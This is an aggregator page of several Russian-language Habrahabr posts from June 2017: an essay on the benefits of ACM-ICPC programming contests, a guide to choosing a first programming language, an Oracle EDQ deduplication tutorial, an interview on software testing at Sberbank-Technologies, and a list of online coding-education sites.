Иногда я езжу на турниры вместе со студентами и вижу, что зачастую после первого-второго курса они теряют интерес к соревнованиям и стараются как можно скорее устроиться на работу. У таких студентов ACM ассоциируется с алгоритмами и только с ними, а поскольку на работе они, вероятнее всего, никогда не пригодятся, то и участие в турнирах не несет практической пользы. Не раз и не два я слышал вопрос: «Вот ты несколько лет участвовал в ACM. И что, пригодились тебе эти алгоритмы?» Первое, что нужно усвоить, — классические алгоритмы — это лишь небольшая часть ACM-а. Это инструмент, который помогает решать задачи. Точно такой же, как язык программирования, без знания которого невозможно написать решение. Большая часть задач уникальна, их решение не строится на использовании какого-то известного алгоритма, для каждой задачи нужно изобретать свой алгоритм, встраивая в него классические как небольшую часть общего решения. Скорее всего, вам не придется на работе писать алгоритм Дейкстры или дерево отрезков, но и в ACM вы будете их использовать лишь как кирпичики, а не фундамент.

Распространено мнение (1, 2, 3), что бывшие ACM-щики пишут ужасный код, потому что они так привыкли на соревнованиях, где время поджимает и некогда думать над качеством. Однако, с тем же успехом можно сказать, что автогонщики не умеют ездить по городу по правилам, а фигуристы — кататься на катке по кругу вместе со всеми. Во-первых, это индивидуально. Во-вторых, зачастую для решения нужно написать столько кода, что просто невозможно экономить на качестве: на исправление ошибок потом уйдет уйма драгоценного времени (и чемпионы мира придерживаются такого же мнения). Кроме того, современные среды разработки стимулируют писать прилично и позволяют легко и быстро это делать. ACM-щики же — неглупые ребята, и понимают, что на реальном проекте код должен быть качественным, и быстро учатся у коллег соблюдению этого качества. Уж как минимум не медленнее, чем студенты, которые ничего в жизни кроме лабораторных работ не видели. На нашем проекте четверть разработчиков — ACM-щики, и все они, как правило, безболезненно проходят ревью кода.

Так что же дает ACM? Во-первых, фундаментальные знания и математический аппарат. Нам на лекциях не рассказывали про сложность алгоритмов, мы не изучали теорию графов, не имели дела с методами оптимизации. ACM закрывает этот гигантский пробел благодаря огромному количеству задач на вычислительную и дискретную математику, теорию вероятностей, различные темы из теоретической информатики. Каждая задача требует анализ вычислительной сложности алгоритма и заставляет задумываться об эффективности используемых структур данных. Благодаря опыту ACM-щики не задумываются над сложностью операций встроенных структур данных — эти значения они достают из кеша своей памяти. Они знают их устройство и тонкости работы, потому что не раз натыкались на какую-нибудь особенность реализации в той или иной версии компилятора. На собеседованиях я поражаюсь, что даже опытные разработчики зачастую считают, что добавление в хеш-таблицу в .NET разных ключей с одинаковыми хешами перетирает данные, а на практике коллизии практически не случаются, и потом с удивлением узнают про парадокс дней рождения. Многие кандидаты вообще не понимают, как устроено то, чем они ежедневно пользуются, подозревая, что под капотом у List связный список и обращение по индексу — медленная операция. Ни о каком устройстве баз данных даже говорить не приходится.

Во-вторых, ACM развивает скорость мышления и набора кода. Этому способствует то, что на соревнованиях времени мало, а задач много, поэтому медлить нельзя. Кроме того, мало где за время учебы вы сможете написать столько же кода, сколько за время подготовки к турнирам. Мало где вы так же сильно сможете прокачать сообразительность. Благодаря этому, в промышленной разработке ACM-щики довольно быстро могут создавать прототипы, рефакторить код, а сочетая эти навыки — эффективно работать по TDD, ведь первые две части TDD так в духе соревнований: придумать тесты на разные случаи, а затем написать любой код, который их проходит.

В-третьих, ACM развивает внимательность. На турнирах неверный код карается штрафом, поэтому очень важно писать правильный код. Очень важно уметь его тестировать. Очень важно быстро находить баги. Никто из 16 разработчиков нашего проекта не находит больше багов на этапе ревью, чем ACM-щики. Это просто годами выработанный навык, и он очень ценен в промышленной разработке.

В-четвертых, достигнув существенного развития в ACM, вы без труда сможете пройти собеседование во многие мировые IT-компании. В Google и Яндексе, например, собеседования почти целиком состоят из ACM-подобных задачек. Даже если вы не хотите устроиться в эти компании, съездить на интервью очень даже круто. Так, например, я впервые побывал за границей благодаря приглашению Google на собеседование в Цюрих.

В конце концов, ACM дает множество нетехнических плюшек: поездки по стране, друзья и знакомые из разных городов, беглое чтение на английском языке (большинство задач написано на английском), призы на турнирах, повышенная стипендия, уважение со стороны преподавателей, одногруппников и коллег. ACM-ICPC вносит в жизнь разнообразие.


Фото icpcnews icpcnews / CC

Напоследок стоит отметить важный момент: ACM ничего не гарантирует. Это не какая-то волшебная таблетка, это лишь инструмент. Возможно, вы будете очень хорошо решать задачи, но без умения общаться с людьми вы всё равно не устроитесь в команду, в которой сможете расти и развиваться. Опыт ACM является лишь отличным дополнением к вашим навыкам. Это хорошая строчка в резюме, вас заметят, вы без труда пройдете техническое собеседование, но можете легко провалить общение с менеджерами. И далеко не факт, что участие в турнирах вам поможет в учебе. Скорее наоборот: если в вашем вузе не развито это движение, если преподаватели никогда о нем не слышали, то совмещать тренировки с учебой будет невероятно тяжело, и руководство будет крайне неохотно выделять деньги для поездок на турниры. Но все когда-то начинали на пустом месте, во многих вузах по-прежнему всё держится на чистом энтузиазме студентов.

Всё меняется, когда приходят значимые успехи. Эти успехи являются чуть ли не единственным заметным достижением регионального вуза, и руководство начинает идти навстречу в сложных вопросах, преподаватели закрывают глаза на несданные лабораторные работы и благосклонно относятся на экзаменах. Если при этом в вузе есть еще и хороший руководитель, то он добивается повышенной стипендии и спонсорской поддержки: все годы на старших курсах я мог не только не работать, но и накапливать сбережения. Но для всего этого надо вкалывать, прикладывать огромные усилия, и тогда всё получится. ACM-ICPC — это прекрасное сочетание интересного и полезного внеучебного времяпрепровождения.

Если вы студент малоизвестного вуза в богом забытом городе, то задайте себе вопрос: «Какие у меня перспективы?» Если вас не устраивает ответ, если вы хотите в «крутую компанию», если вы готовы ставить перед собой амбициозные цели и решать сложные задачи, а не заниматься рутиной, если вы хотите гордиться своей работой, а не просто ее выполнять, если не хотите впустую потратить студенческие годы, то ACM-ICPC даст вам огромный шанс всего этого достичь. Начните с участия в турнирах на Codeforces — самой популярной в России площадке для проведения и обсуждения соревнований по программированию. Найдите руководителя, соберите команду, участвуйте в региональных турнирах, тренируйтесь. Ваше участие в ACM продлится всего несколько лет, но его отголоски будут давать о себе знать еще очень и очень долго. Для меня ACM-ICPC стал главной инвестицией в жизнь, для вас же он как минимум превратится в полезный и увлекательный опыт.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332030/


Метки:  

[recovery mode] Как выбирать язык для изучения в 2017 году

Пятница, 30 Июня 2017 г. 16:08 + в цитатник
Редактор Ольга Евсикова специально для блога Нетологии рассказала, как выбирать язык для изучения.

image

Существует множество причин стать разработчиком. Программисты зарабатывают много денег, создают новые продукты и меняют мир. Горите желанием стать одним из них, но не знаете, как сделать первый шаг? Эта статья поможет разобраться.

Присмотритесь к рейтингам



Рейтинг PYPL



Система оценки PYPL (PopularitY of Programming Languages) основана на количестве поисковых запросов учебных пособий в Google. Они, совместно с GitHub, составили топ языков программирования на 2017 год.

Выбирая язык из этого рейтинга, можете быть уверены, что у вас всегда будут доступные учебные материалы и активное сообщество учеников.

image

С 2005 года во всём мире Java является самым популярным языком программирования. За последние 5 лет больше всего интерес проявляется к языку Python, а PHP теряет популярность, но не уступает своему преследователю C#. В топе языков ещё JavaScript, C++ совместно с C, R и Ruby.

Индекс TIOBE



Другая система оценки популярности языков программирования — TIOBE формируется на основе частоты поиска в Google, Baidu, Wikipedia, Yahoo и YouTube.

image

По ней лидирует снова Java, но Python занимает всего четвертую позицию, замыкают десятку JavaScript, PHP. А начинает двадцатку — Ruby.

Определитесь с направлением



Выбирайте язык, исходя из программных продуктов, которые хотите создавать.


Веб-разработка



Это процесс создания веб-сайтов и приложений. Это может быть все что угодно: от социальной сети до посадочной страницы спортивного клуба.

Веб-разработка внешней части называется front-end. Сначала с помощью разметки HTML создаётся страница. Именно эта разметка отвечает за структуру страницы. Затем внешний вид созданной страницы изменяют с помощью каскадных таблиц стилей — CSS и добавляют интерактивности на языке JavaScript.

Back-end — это серверная часть. Тут происходит вся магия взаимодействия с интерфейсом, и часто мы видим только результат работы на серверной стороне. Важная часть работы с сервером — умение пользоваться базами данных. Если вам интересно это направление, смело учите язык управления базами данных SQL, MySQL и знакомьтесь с фреймворком Oracle. Бекенд можно писать на Ruby, Python, Java, PHP, Node.js, Django.

Крупные ресурсы всегда используют несколько инструментов, так как необходимо поддерживать работу нескольких дата-центров, серверов и системы взаимодействия этих серверов. Это продукт работы большой команды: программистов, инженеров и системных администраторов. Так социальная сеть ВКонтакте использовала для своей работы транслятор от компании Facebook — HipHop, превращающий исходный язык PHP в C++ для ускорения работы. Позже ВКонтакте создали свой собственный транслятор и назвали его Kitten PHP.

Мобильные приложения



Если планируете собственный проект, полезным будет выяснить, какую операционную систему использует ваша целевая аудитория. Но любой проект, который ищет развития, выходит за рамки одной платформы.

Для разработки под систему iOS пишут на Swift и Objective-C. Под Android — Java и C++.

image
Мобильные приложения в Google Play Market.

Настольные приложения или десктоп



Это может быть десктоп-версия мобильного приложения. Например, мессенджер Viber. Или сервис видеозвонков Skype, созданный во времена, когда приложения для мобильных устройств ещё не были так популярны. И вообще любые программы для повседневных задач, которые можно запустить с ноутбука или компьютера.

Для Windows пишут на C++, C# и Java. Для Mac OS — Objective-C. Для разработки под Linux пишут на C и C++.

image
Настольные приложения в App Store.

Разработка игр или геймдев



Чтобы создавать игры, нужно не просто играть в них, а понимать особенности их создания. Этим геймдев отличается от других направлений, и его выделяют в отдельную категорию.

Мобильные игры под Android пишут на Java и C++, под IOS — Swift и Objective-C. В браузерные онлайн-игры можно поиграть в социальных сетях. Здесь вам пригодится знание веб-разработки на JavaScript+HTML или Flash. Компьютерные игры часто пишут на C++. Этот низкоуровневый язык подходит больше всего, когда речь идёт о разработке сложных вещей.

image

Так одна из самых успешных игр в мире — Minecraft написана на языке Java, но специально для Android переписана на C++.

Ещё для создания игр используют специальные игровые движки типа Unity (C# и Java Script) и Unreal Engine (C++). Они упрощают процесс создания игр и позволяют создавать 2D и 3D игры на Mac OS, Linux, Windows и консоли PlayStation, Xbox.

Большие данные



Социальные сети и средства массовой информации задумались, как эффективно использовать данные, годами копившиеся в серверных хранилищах и продолжающие поступать. Большие объемы данных позволяют выяснить, как пользователь взаимодействует с сервисами, моделировать ситуации и делать прогнозы.

В России рынок Big Data только формируется, но банки и телекоммуникационные компании уже проявили большой интерес. Появилась новая профессия — дата-аналитик. Существуют языки программирования типа R, разработанные специально для работы с большими объемами данных. Ещё используют Python, C, Java и Scala.

image
Big Data в исследовании компании МегаФон и института «Стрелка».

Оцените рынок



Если программирование для вас не просто хобби, лучше заранее оценить уровень зарплат разработчиков. В интернете можно найти разную статистику. Например, такую.

image
Данные «Моего круга».

По статистике видно, что самые высокооплачиваемые программисты, в среднем, это занимающиеся мобильной разработкой или программным обеспечением. В остальном — программисты крайне редко зарабатывают менее 80 тысяч рублей. К примеру, согласно отчету аналитической компании App Annie, ожидается, что мировой рынок мобильных приложений в 2017 г. вырастет на 28,6% и достигнет $166 млрд.

Но часто одного языка программирования недостаточно, а потенциальные работодатели требуют знание нескольких языков и фреймворков. Это происходит потому, что на одном языке пишется только одна часть, а остальные — на других.

Выбирайте то, что нравится


Независимо от выбранной области программирования — язык должен вам нравиться. Пробуйте.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332028/


[Перевод] JavaScript: многоликие функции

Пятница, 30 Июня 2017 г. 16:05 + в цитатник

Метки:  

Повышаем качество данных с Oracle Enterprise Data Quality

Пятница, 30 Июня 2017 г. 15:58 + в цитатник
В большинстве проектов по внедрению Siebel, так или иначе, приходится сталкиваться с проблемами качества данных. В этой части Oracle предлагает интересное решение – Enterprise Data Quality с возможностью интегрирования в Siebel (что нас собственно и привлекло). В данном материале я вкратце расскажу о самом продукте, его архитектуре, а также покажу, как можно создать простой процесс повышения качества данных.

Коротко о продукте


EDQ - продукт, позволяющий управлять качеством информации. Основой для анализа EDQ могут служить разные источники данных, такие как:

  • базы данных (Oracle, Postgres, DB2, MySql и т.д.),
  • текстовые файлы,
  • XML-файлы,
  • MS Office файлы,
  • системные файлы и прочее.

EDQ позволяет анализировать данные, находить в них неточности, пробелы и ошибки. Можно совершать корректировки, трансформировать и преобразовывать информацию для улучшения ее качества. Можно интегрировать правила контроля качества данных в ETL-средства, тем самым предотвращая появление неконсистентной информации. Большим плюсом при использовании EDQ является интуитивно понятный интерфейс, а также простота изменения и расширения правил валидации и трансформации. Немаловажный инструмент EDQ – информационные панели (Dashboards), которые позволяют бизнес-пользователям отслеживать тенденции в качестве данных. Например, как на скриншоте ниже:


EDQ - это веб-приложение Java, в котором используется Java Servlet Engine, графический интерфейс пользователя Java Web Start и СУБД для хранения данных.

EDQ предоставляет ряд клиентских приложений, которые позволяют управлять системой:


При посещении страницы Enterprise Data Quality Launchpad можно увидеть данные приложения, например, Director, отвечающий за проектирование и обработку информации. При нажатии на кнопку нам предлагается сохранить файл:


Открыв его, мы попадаем в основной интерфейс проектирования:


Слепки данных, обработанная информация и необходимые метаданные хранятся на сервере EDQ. Клиентские машины хранят только пользовательские настройки. EDQ использует репозиторий, который хранится в двух схемах БД – в конфигурационной и в схеме результатов.

В конфигурационной схеме хранится информация о настройках EDQ, а в схеме результатов – слепки информации (промежуточные итоги обработки и конечные результаты выполнения процессов).

Какие задачи решает EDQ


Примеры задач, решаемых с помощью EDQ:

  • дедупликация и консолидация информации,
  • приведение информации к единому виду (написание названия одной страны разными способами и др.),
  • идентификация информации, внесенной не в то поле,
  • парсинг адресов,
  • разбиение полей, в которых закодирована информация о нескольких атрибутах.

На основе подключений к разным источникам данных создаются так называемые «Staged Data» - слепки информации для последующего анализа.

EDQ имеет множество процессоров, с помощью которых можно трансформировать исходный слепок информации.


Часто встречающаяся проблема при использовании информации – наличие дубликатов. Как говорилось выше, EDQ позволяет ее решить. Для исключения дубликатов можно воспользоваться процессором «Duplicate Check», в его настройках необходимо выбрать поле, по которому будет производиться группировка информации:


Этот процессор позволяет отобрать для дальнейшего анализа очищенные от дубликатов данные:


Простой процесс дедупликации


Для слияния повторяющихся строк можно использовать процессор «Group and Merge». На примере рассмотрим его функционал.

Поместив процессор в рабочее пространство и соединив его с процессором, отбирающим исходную информацию, необходимо зайти в настройки «Group and Merge».

Данный процессор имеет три подпроцессора:

  • Inputs
  • Group
  • Merge

Inputs – позволяет из исходного набора данных выбрать те поля, которые необходимо преобразовать. Перетаскиваем нужные колонки с помощью кнопок:


На основе выбранных атрибутов мы выберем поле или поля, на основе которых будет производиться группировка.

Group – в данном процессоре необходимо выбрать поля, на основе которых будут сгруппированы исходные данные:


И последний подпроцессор – Merge, позволяющий настроить правила для слияния каждого атрибута:


По умолчанию значение правила установлено в «Most Common Value», но это значение при необходимости можно заменить на подходящие из списка:


После настройки и запуска процессора мы видим результат его работы:


В исходном же наборе было другое количество данных:


Эти преобразования выполняются на уровне слепка данных в EDQ и не затрагивают данные в базе. Для того чтобы отобразить полученную очищенную информацию в базе данных, необходимо совершить еще несколько шагов. На основе полученной информации из процессора «Group and Merge» нужно создать новый слепок информации, который впоследствии мы загрузим в БД. Выбираем процессор «Writer»:


И нажимаем кнопку New Staged Data. Далее предлагается создать новый слепок на основе полученной информации после дедупликации. Итоговый экран должен выглядеть следующим образом:


Также можно использовать уже существующие слепки, которые будут перезаписаны после запуска процесса.

После записи дедуплицированой информации нужно создать новый экспорт, который запишет наши изменения в базу данных:


В интерфейсе выше предлагается выбрать подготовленный слепок данных и таблицу, в которую планируется его загрузка. По умолчанию этот процесс будет производить удаление существующих данных и вставку новых, но его можно настроить. Для этого требуется создать новый Job.

В рабочую область перетащить созданный процесс:


И созданный экспорт данных:


После чего можно настроить экспорт. Двойным щелчком вызываем меню:


Выбрав нужное значение, запускаем задачу в работу и проверяем результат в БД.

Заключение


EDQ предоставляет пользователю большой спектр инструментов, но есть, как говорится, некоторые нюансы. Например, к таковым можно отнести отсутствие преднастроенных шаблонов обработки информации. Ведь большинство проблем, связанных с качеством данных, типичны для многих проектов. Стоит сказать, что некоторые готовые процессы все же можно найти и интегрировать в свой проект. Собственно этим мы и планируем заняться – подготовить пакет процессов, которые можно использовать на разных проектах.

Для использования фонетических алгоритмов, представленных в EDQ, подходит только латиница, но всегда можно использовать транслитерацию и преднастроить свои данные для этих алгоритмов.

Еще одна, так скажем, не вполне удобная особенность, которую мы заметили, - это не совсем прозрачный процесс выгрузки результатов обработки в базу. Если использовать как источник таблицы БД, то проще было бы при получении результата сразу иметь возможность заменить исходную информацию очищенной.

Как было сказано в начале, большинство проектов, которые используют хранилища данных, так или иначе «страдают» от качества информации, хранящейся в них. EDQ может помочь в решении проблем не только дедупликации, о которой мы тут говорили, но и многих других. Большой плюс данного продукта – наличие готовых к использованию разнообразных процессоров. А информационные панели с простым интерфейсом помогут бизнес-пользователям принимать активное участие в контроле качества данных.

В следующих статьях мы постараемся рассмотреть на примере процесс стандартизации адресов по ФИАС и создание информационных панелей, а также интеграцию с Oracle Siebel.Следите за обновлениями.

Антон Акиньшин, разработчик центра внедрения бизнес-систем компании «Инфосистемы Джет». Пожалуйста, обращайтесь с вопросами в комментариях.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332024/


«Важно расставлять приоритеты»: о тестировании в Сбербанк-Технологиях

Пятница, 30 Июня 2017 г. 15:11 + в цитатник


Если задуматься, для каких российских компаний тестирование может быть особенно хардкорной задачей, в голову сразу приходят Сбербанк-Технологии. Во-первых, там гигантские масштабы, во-вторых, большая ответственность (финансовые операции — это вам не фотошеринг с геолокацией), в-третьих, взят курс на максимально быстрый релизный цикл: то есть тестировать нужно очень много, очень качественно и при этом очень быстро.

Каково живётся с такими почти взаимоисключающими установками? По следам конференции Гейзенбаг, где компания была спонсором, мы задали несколько вопросов Антону Романову из её Департамента качества — заместителю начальника отдела тестирования корпоративно-кредитных систем.

— До Сбербанк-Технологий вы работали в компании «Аплана», где тоже занимались тестированием систем Сбербанка, но со стороны внешнего подрядчика. А как вообще в Сбертехе делят задачи по тестированию между самой компанией и подрядчиками?

— Исторически подрядчики сначала привлекались в основном для регрессионного тестирования. И я работал в «Аплане» как раз тогда, когда на подряд передавалось преимущественно регрессионное тестирование, а Сбертех контролировал. А сейчас по мере увеличения объема работ, подрядчики привлекаются в том числе и для тестирования новых проектов.

— Всем очевидно, что Сбербанк-Технологии — большая компания, а можете ли с помощью каких-либо чисел дать представление, насколько именно большая в отношении тестирования?

— В Департаменте качества работает около 1 500 человек, это 38 отделов.Получается около пяти управлений, которые делятся по функциональным компетенциям: Управление нагрузочного тестирования, Управление тестирования автоматизированных банковских систем, Управление тестирования фронтальных систем, Управление администрирования. И в каждом управлении где-то по пять отделов.

— Когда так много отделов, становится интересно: насколько это всё унифицировано? У вас в тестировании внедрены строгие единые стандарты, которым подчиняется каждый, или у отделов есть высокая степень автономии?

— Я бы сказал, у нас золотая середина. Например, отдел организации тестирования задает некие направляющие практики. Для них определены критерии, которые выполняются или не выполняются при определенных условиях (тестирование на ранних этапах, согласование своих тестов с аналитиками и т.д.). То есть команды работают по общему набору правил, но в зависимости от особенностей системы и процесса разработки команда самостоятельно определяет, какие практики применимы и как они будут реализованы.

Естественно, процессы прозрачны и открыты: с активной обратной связью, согласованием и пониманием рабочих процессов.

— А может ли команда использовать какие-то новаторские практики, ещё не ставшие мейнстримом, или в вашем случае всегда требуются проверенные временем?

— Конечно, нам нужна надёжность, но это не означает, что нельзя работать с чем-то новым. Например, mind maps (ментальные карты) до недавнего времени считались новаторской практикой. Мы их используем, но в качестве дополнительного инструмента. А использование только mind maps взамен любой другой тестовой документации, конечно, не допускается. Таким образом, используя что-то новое, мы просчитываем и нивелируем риски, часто проводим подобные тестирования в пилотном режиме. И только если мы видим эффективность и результат, такие решения практикуются и тиражируются.

— Правильно ли понимаем со стороны, что высокая ответственность финансовых операций сказывается на подходе к тестированию?

— Там, где дело касается денег, есть огромная ответственность — и безусловно, это сказывается на наших подходах к тестированию. Процесс достаточно строгий, с несколькими этапами согласования — передача от разработки на тестирование, от системного тестирования на интеграционное тестирование, от интеграционного тестирования на приемку. То есть всё несколько раз перепроверяется, есть строгие критерии передачи такого дистрибутива, обязательно контролируется выполнение регрессионного тестирования и качество тестирования новой функциональности.

— А ещё, вероятно, в вашем случае нагрузочное тестирование особенно важно?

— Да, это так. Для примера: в Сбербанке порядка 150 различных систем, взаимодействующих между собой. На наш отдел приходится одна большая система, в которую за один операционный день поступает примерно по 500 платежных документов в секунду. Соответственно, объем на один территориальный банк составляет порядка четырех миллионов документов в день. Это и платежи клиентам, и налоговые и коммунальные платежи — масса всего.

Таким образом, нагрузочное тестирование несёт очень важную роль, потому что для Сбербанка критично время обработки этих документов — они не должны скапливаться в очередях и тормозить банковские операции. Мы уделяем большое внимание тому, как система ведет себя после наката очередных обновлений — очень важно, чтобы уровень сервиса не проседал. Поэтому в нагрузочном тестировании мы стараемся создавать среду, которая максимально соответствует промышленной.

— При этом у вас гигантские объёмы уже написанного кода, что должно усложнять регрессионное тестирование, и в то же время стоит цель максимально ускорить релизы. Что помогает справиться с таким вызовом?

— Помогают старые добрые практики — тестирование, основанное на рисках.

Система, которую мы тестируем, перешла к нам по наследству: её изначально разрабатывала сторонняя компания. Документация осталась где-то на уровне семилетней давности, а новые изменения были разрозненно задокументированы в разных местах. То есть первая задача — понять, что, где и как работает.

А следующий момент — объёмы. В этой системе порядка 15 000 операций, в нее стекаются все платежи — и бухгалтерская отчётность, и проводки, и вообще всё. У наших релизов сжатые сроки (порядка двух недель на всё), поэтому важно определить, что проверять в первую и вторую очередь, и в каком объеме. Определяя приоритеты, мы привлекаем коллеги из разработки, сопровождения и Сбербанка — ведем с заинтересованными лицами всесторонний диалог.

Очень важно автоматизировать процессы и таким образом сэкономить время. Но всё равно остаются проверки, которые можно сделать только вручную, и здесь мы применяем Lead-Time метрику (имеется в виду время от начала до завершения регресса) — время, которое требуется на выполнение регрессионного тестирования. Мы используем данные о времени выполнения тестов, которые хранятся у нас в инструменте, и на основе этого оцениваем, сколько времени нам потребуется на выполнение регресса, сравниваем это же время с расчётом через дату, просто дата окончания — дата завершения (два метода расчета — через фактические даты завершения и начала и через объем тестов и среднее время выполнения; пока что “факт” превышает расчетное значение). Пока у нас есть различия и мы думаем, как сократить время на выполнение отдельных тестов.

— Про компанию масштаба Сбертеха кажется, что в такой должно быть много разработанных внутри инструментов — вы в вашей работе с такими сталкиваетесь?

— Смотря о чём именно говорить: собственной JIRA у нас нет, но разрабатывается много утилит под отдельные нужды тестирования. Например, создание специальных сообщений в определённом формате, генераторы тестовых данных, очень распространены SQL-скрипты.

— Ранее Сбертех сообщал, что в Департаменте качества внедряют DevOps — а что это означает на практике для вашего отдела?

— С приходом девопса появляются такие практики, как Continuous Integration и Continuous Deployment. В отделе, где я работаю, их пока нет, потому что наша система относится к классу legacy, которая будет заменяться новой платформой (ее разрабатывают уже как веб-приложение). Но коллеги из других отделов уже работают в DevOps, что реально экономит время и ускоряет весь процесс. Потому что все собирается автоматически, накатывается и запускается ночью, а тебе остается только утром посмотреть результаты.

— Про Сбертех известно, что он активно нанимает разработчиков — а в тестировании тоже постоянно привлекаете новых людей?

— Сейчас активно разрабатывается новая ИТ платформа Сбербанка, которая будет совмещать в себе большое количество систем, существующие сейчас по отдельности. Это будет единая платформа, состоящая из большого количества модулей, которые будут выполнять отдельные функции. Но параллельно мы обрабатываем заявки по существующим системам. Поэтому конечно нам нужны люди для выполнения этой реально масштабной задачи.

Вы сертифицированный тестировщик вплоть до уровня ISTQB Full Advanced — а насколько сказываются в Сбертехе и полученные знания, и сам факт получения сертификата?

— В моей работе эти знания очень полезны. Часто бывают какие-то задачи из серии «проектируется какой-то бизнес-процесс, нужно оценить каким-то образом количество тестов, чтобы примерно спланировать работы, примерно понимать, какой будет объем регресса». Вот здесь нужны методы тест-дизайна, которые рассматриваются в ISTQB. Они помогают, имея даже не очень подробную документацию и основываясь на предположениях о существующих рисках и о критериях качества, определить возможный объем — может быть, не в терминах тестов, но в терминах проверок.

Также стратегия, основанная на рисках, очень применима к нашей регрессионной модели. Как оценить риски, как их приоритезировать, кого к этому привлечь — это всё очень полезно и не раз помогало мне в работе. Ну и в целом, как мне кажется, получаемые при подготовке к сертификации знания определяют дальнейший подход к работе. В голове постепенно укладывается установка, что нельзя протестировать всё: нужно исходить из рисков, расставлять приоритеты и обеспечивать максимальное качество при имеющихся ресурсах. С таким подходом к решению задач получается совершенно другой результат.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332016/


Метки:  

30+ онлайн ресурсов для изучения программирования в 2017

Пятница, 30 Июня 2017 г. 14:51 + в цитатник
Изучение программирования становится все более доступным благодаря непрерывному росту количества онлайн ресурсов, которые помогают в этом всем желающим. Плюс таких ресурсов — в неограниченном количестве знаний, которые они могут дать и в высокой квалификации преподавателей. Минус — никто не заставляет вас учиться и качество полученных знаний зависит лишь от того, сколько усилий вы приложили.

Составить рейтинг ресурсов для изучения программирования, предлагаю пользователям хабра, исходя из личного опыта их использования. В конце статьи вы сможете проголосовать за любимый сайт для изучения программирования.

Codecademy



Codecademy

Интерактивная онлайн-платформа для обучения 12 языкам программирования: Python, PHP, JavaScript, Ruby, Java и др., а также работе с библиотекой jQuery и языкам разметки и оформления веб-страницы HTML и CSS.

Если нужно быстро познакомиться с основами новой технологии, то эти курсы очень полезны и помогут быстро вникнуть в новый язык. Но знания на выходе будут неглубокие и после этих курсов обязательно нужно продолжать обучение.

FreeCodeCamp



FreeCodeCamp

Сервис для изучения программирования, а именно Full-stack разработки на JavaScript. Обучение построено по принципу самообразования от простого к сложному. Сначала дается основа, а затем дают задание, которое выходит за рамки изученного и нужно решить его самостоятельно.

Все начинается с HTML, CSS, Bootstrap и продолжается заданиями по базовым функциям JS, задачами на алгоритмы, front-end проектами. Планируется к запуску раздел про React. Для общения есть чат в Gitter.

Exercism.io



Exercism.io

Этот сайт предоставляет упражнения по программированию, а в частности, на: C #, C ++, Haskell, JavaScript, Lua, Objective-C, Perl 5, Python, Ruby и Scala.

Идея проста:
  • Вы загружаете упражнение на языке по вашему выбору (упомянутого выше) с клиентским приложением exercism.io
  • Добавляете решение на сайт.
  • Программисты со всего мира будут комментировать то, что вы сделали.
  • Вы улучшаете свой код.

Благодаря этому методу обучения, когда вы, как новичок в программировании, получите обратную связь от экспертов, можно избежать застревания на тренировках, если вам не удалось найти правильное решение. Это также помогает застенчивым людям или тем, кто не решается задать вопросы, так как нет никакого способа двигаться дальше. Katrona Owen, создатель Exercism.io, заметил, что этот тип обучения поможет ученикам в Jumpstart Labs в Денвере, штате Колорадо, завершить упражнения.

LiveEdu.tv



www.liveedu.tv

Обучающий стриминговый сервис LiveEdu.tv предлагает вам уникальные туториалы для изучения программирования. Что же такого особенного в LiveEdu.tv? Уроки интерактивны, в режиме реального времени вы видите написание проекта и можете коммуницировать с преподавателем в чате, также доступны записи стримов.

Livedu.tv содержит огромную библиотеку записанных трансляций по всевозможным языкам программирования и фреймворкам. Большая часть контента доступна бесплатно, нужно только зарегистрироваться, есть платные проекты, они более структурированы и обучающие, месячная подписка обойдется в 500 руб.

На сайте недавно запустили русскоязычный премиум раздел, где вы можете найти различные обучающие проекты, например: “Серверная реализация мессенджера”, “Как написать укорачиватель ссылок на Node.js”. Благодаря огромной базе обучающих видео и проектов, сайт подойдет как новичкам так и опытным специалистам. А стать преподавателем и создать свой собственный обучающий проект здесь может любой специалист, который соответствует требованиям.

PluralSight



Pluralsight

Pluralsight — один из лидеров в разработке интерактивных учебных курсов для профессиональных разработчиков. Pluralsight предлагает подписки для частных лиц и компаний стоимостью от 29 долларов США в месяц. На сайте доступны следующие категории: IT Ops, Software Development, Data Professional, Architecture and Construction, Manufacturing and Design, Business Professional, Information and Cyber Security.

Udacity



Udacity

Видео лекции на английском языке с субтитрами в сочетании со встроенными тестами и последующими домашними работами, основанные на модели «учиться на практике». Каждая лекция включает в себя встроенный тест, чтобы помочь студентам понять предлагаемые концепции и идеи.

Также доступны программы Nanodegree Plus. Суть такова, что Udacity гарантирует трудоустройство в течении 6 месяцев после выпуска или возвращает вам деньги. Стоит обучение 299$/мес. Большое преимущество — code review, причем, весьма детальные. Также в программу входят: помощь в подготовке резюме, аккаунтов в гитхабе и линкедин, тестовые собеседования (с живыми людьми).

Code School



Code School

Code School использует для обучения скринкасты и видеоуроки рассказывающие о HTML/CSS, JavaScript, Ruby, Python, .NET, iOS, Git и другим языкам, подавая материал через интересные истории. Большая часть контента рассчитана на продвинутых программистов, но новичкам доступны бесплатные курсы об основах программирования.

Для доступа к бесплатным курсам необходимо зарегистрироваться, доступ к платным курсам Code School возможен только на основе подписки, цена которой начинается от 29 долларов в месяц.

Udemy



Udemy

Udemy — это платформа для обучения, где вы можете быть как учеником так и преподавателем. Udemy предлагает большое количество курсов по таким прикладным направлениям как дизайн, программирование, веб-разработка. Среди преподавателей можно встретить Марка Цукерберга и других гигантов IT-индустрии. Цена курсов на Udemy от 10$ до 200$, есть также бесплатные.

Treehouse


Treehouse

Treehouse насчитывает свыше 600 видео-уроков (по веб-дизайну, веб-разработке и разработке под IOS), которые можно просматривать за ежемесячную плату, которая стартует от 25$.

Lynda.com



Lynda

Lynda.com – ветеран индустрии онлайн-образования. Lynda.com — это сервис платного онлайн-обучения преимущественно в направлении IT и дизайн. Сервис основан в 1995-м году и в 2015-м был куплен Linkedin.

Lynda работает по подписке. Хотя часть курсов доступны бесплатно, основная доля доступна только после оформления подписки стоимостью от $19/месяц. После оплаты пользователь получает неограниченный доступ к любым курсам в базе данных Lynda. Для ознакомления с функционалом Lynda предлагается 10-ти дневная trial-версия, с полным доступом ко всей библиотеке.

Codewars



Codewars

Это интерактивный сборник задач по программированию, решая которые вы набиваете свой скилл в том или ином языке.

